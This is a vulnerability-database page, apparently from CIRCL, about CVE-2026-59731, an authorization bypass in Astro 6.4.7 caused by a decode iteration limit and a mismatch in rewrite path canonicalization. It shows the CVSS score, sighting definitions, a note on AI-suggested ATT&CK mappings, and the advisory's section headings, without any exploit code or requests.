      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-59731 (GCVE-0-2026-59731)

FKIE_CVE-2026-59731

GHSA-VJ59-8HWV-XXMV

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Vulnerable Pattern

Root Cause

Iterative Decoding Logic

Rewrite Route Matching

Proof of Concept

Middleware

Reproduction

Protected Route

Bypass Request

Encoding Depth Analysis

Decoder Trace

Exploit Preconditions

1. Path-Based Authorization

2. Rewrite-Based Routing

Impact

Security Analysis

Recommended Fix

Example Fix

Additional Hardening

Conclusion

Tags

Sightings

Nomenclature

Related by attack behaviour